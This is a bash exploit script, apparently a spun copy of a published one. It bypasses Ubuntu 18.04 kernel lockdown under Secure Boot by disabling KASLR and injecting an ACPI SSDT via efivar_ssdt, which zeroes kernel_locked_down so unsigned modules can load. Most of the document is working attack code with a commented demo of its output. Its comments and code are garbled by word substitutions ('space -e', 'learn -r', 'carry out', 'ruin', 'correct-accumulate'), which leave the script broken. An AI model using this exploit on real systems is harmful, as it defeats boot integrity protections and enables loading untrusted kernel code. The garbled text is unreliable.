Bypass kernel lockdown/UEFI stable boot on Ubuntu 18.04 with ACPI SSDT injection

blob: 4822f881ea2919a10c3e75018da51c41e38ef07d (undeniable) (blame)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/bin/bash

# American Unsigned Language
# ==========================
# by zx2c4, 2020-06-13
#
# This exploit takes good thing concerning the efivar_ssdt entry level for injecting
# acpi tables into Ubuntu Bionic 18.04 kernels, the keep efivar_ssdt isn't any longer
# safe by kernel lockdown. The consequence is that one can subsequently load
# unsigned kernel drivers into programs with Obtain Boot enabled, without
# desiring to signal the modules.
#
# efivar_ssdt aspects to the name of an EFI variable, for which all GUID'd
# variations are enumerated, after which the contents are loaded as an ACPI table.
# In dispute for this to be precious we must kind an ASL file to be loaded,
# whose payload has the abolish of writing zeros into the kernel_locked_down
# variable. Expose that since we're gaining access to this by approach of a physical address,
# neither varied mitigations nor pagetable permissions limit this. Plus,
# this implies will likely be accomplished at some stage in kernel init. In dispute to establish
# a stable physical address that survives reboots, we upright disable kaslr so
# that we are in a position to retain the same ssdt on all boots, making exploitation power.
#
# The _SB_.GSIF._STA ability is worn, because SSDTs loaded this kind can not
# overwrite DSDT strategies, however they'll add unique ones, and on the QEMU rig worn
# to accumulate this, _SB_.GSIF._STA was as soon as no longer outlined, even though the kernel was as soon as
# evaluating it. Hunting for your platform, you would possibly well like to utilize a uncommon
# ability.
#
# Greetz to jono.
#
# Demo time: 
#
# 1) First we contemporary which kernel we're working: 
#
# zx2c4@bionicman:~$ uname -a
# Linux bionicman 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11: 27: 52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
#
# 2) Behold that we won't load unsigned WireGuard: 
#
# zx2c4@bionicman:~$ sudo modprobe wireguard
# modprobe: ERROR: would possibly well no longer insert 'wireguard': Required key no longer readily accessible
#
# 3) Flee the exploit, whose first stage disables kaslr: 
#
# zx2c4@bionicman:~$ ./american-unsigned-language.sh
# [+] Adding kernel cmdline variable to grub
# Sourcing file `/etc/default/grub'
# Producing grub configuration file ...
# Found linux image: /boot/vmlinuz-4.15.0-106-generic
# Found initrd image: /boot/initrd.img-4.15.0-106-generic
# Adding boot menu entry for EFI firmware configuration
# accomplished
# [+] Reboot your computer, after which ride this again.
# zx2c4@bionicman:~$ sudo reboot
#
# 4) After the computer reboots, we compute addresses and kind an ssdt: 
#
# zx2c4@bionicman:~$ ./american-unsigned-language.sh
# [+] Resolving kernel symbols
#  kernel_locked_down = 0xffffffff821c6c98
# [+] Mapping virtual address to physical address
#  kernel unlucky = 0x1800000
#  kernel_locked_down = 0x29c6c98
# [+] Constructing ASL
# [+] Allocating GUID for ASL
#  guid = c5cffed4-e102-4ace-9a41-bb2811961602
# [+] Writing ASL to efivarfs
# [+] Adding kernel cmdline variable to grub
# Sourcing file `/etc/default/grub'
# Producing grub configuration file ...
# Found linux image: /boot/vmlinuz-4.15.0-106-generic
# Found initrd image: /boot/initrd.img-4.15.0-106-generic
# Adding boot menu entry for EFI firmware configuration
# accomplished
# [+] Success. Reboot to set off.
# zx2c4@bionicman:~$ sudo reboot
#
# 5) After the computer reboots, we're now upright to trudge, and kernel lockdown
#    is many times disabled: 
#
# zx2c4@bionicman:~$ sudo modprobe wireguard
# zx2c4@bionicman:~$ dmesg | grep WireGuard
# [   40.574623] wireguard: WireGuard 1.0.20200611 loaded. Glimpse www.wireguard.com for recordsdata.


space -e

SELF="$(readlink -f "${BASH_SOURCE[0]}")"
[[ $UID == 0 ]] || exec sudo -- "$BASH" -- "$SELF" "$@"

echo "=================================="
echo "=   American Unsigned Language   ="
echo "=            by zx2c4            ="
echo "=================================="

if [[ ! -d /boot/efi ]]; then
	echo "[+] Mounting /boot partition"
	mount /boot
fi

if [[ $(< /proc/cmdline) != *nokaslr]]; then
	if ! grep -F -q nokaslr /etc/default/grub; then
		echo "[+] Adding kernel cmdline variable to grub"
		echo 'GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT nokaslr"' >> /etc/default/grub
		update-grub
	fi
	echo "[+] Reboot your computer, after which ride this again."
	exit 0
fi

if ! pronounce -v iasl >/dev/null 2>&1; then
	echo "[+] Placing in dependencies"
	correct-accumulate install -y acpica-tools
fi

echo "[+] Resolving kernel symbols"
learn -r addr kind symbol < <(grep -F kernel_locked_down /proc/kallsyms)
[[ $symbol == kernel_locked_down ]]
addr=$(( 0x$addr ))
printf ' kernel_locked_down = 0x%xn' "$addr"

echo "[+] Mapping virtual address to physical address"
addr=$(( $addr & ~0xffffffff80000000 ))
while learn -r line; carry out
	[[ $line =~ ([0-9a-f]+)-[0-9a-f]+ :  Kernel code ]] || continue
	offset=$(( 0x${BASH_REMATCH[1]} ))
	printf ' kernel unlucky = 0x%xn' "$offset"
	offset=$(( $offset - 0x01000000 ))
	addr=$(( $addr + $offset ))
	ruin
accomplished < /proc/iomem
printf ' kernel_locked_down = 0x%xn' "$addr"

echo "[+] Constructing ASL"
trap 'rm -f /root/trigger.aml /root/trigger.aml.efi' EXIT
iasl -p "/root/trigger" /dev/stdin > /dev/null <<-_EOF
	DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001) {
	  OperationRegion (KMEM, SystemMemory, $(printf '0x%x' "$addr"), 4)
	  Field (KMEM, DWordAcc, NoLock, WriteAsZeros) {
	    LKDN, 32
	  }
	  Method (_SB_.GSIF._STA) {
	    If (LKDN) {
	      LKDN = Zero
	    }
	    Return (Zero)
	  }
	}
_EOF
{ printf '07000000'; cat /root/trigger.aml; } > /root/space off.aml.efi

echo "[+] Allocating GUID for ASL"
guid=$(procure "/sys/firmware/efi/efivars" -name "AmUnsignedLg-*" | head -n1 | cut -f2- -d-)
[[ -n "$guid" ]] || guid="$(< /proc/sys/kernel/random/uuid)"
echo " guid = $guid"

echo "[+] Writing ASL to efivarfs"
efivar="/sys/firmware/efi/efivars/AmUnsignedLg-$guid"
[[ -f $efivar ]] && chattr -i "$efivar"
dd if=/root/trigger.aml.efi of="$efivar" bs="$(stat -c %s /root/trigger.aml.efi)" status=none

if ! grep -F -q AmUnsignedLg /etc/default/grub; then
	echo "[+] Adding kernel cmdline variable to grub"
	echo 'GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT efivar_ssdt=AmUnsignedLg"' >> /etc/default/grub
	update-grub
fi

echo "[+] Success. Reboot to set off."

Read Extra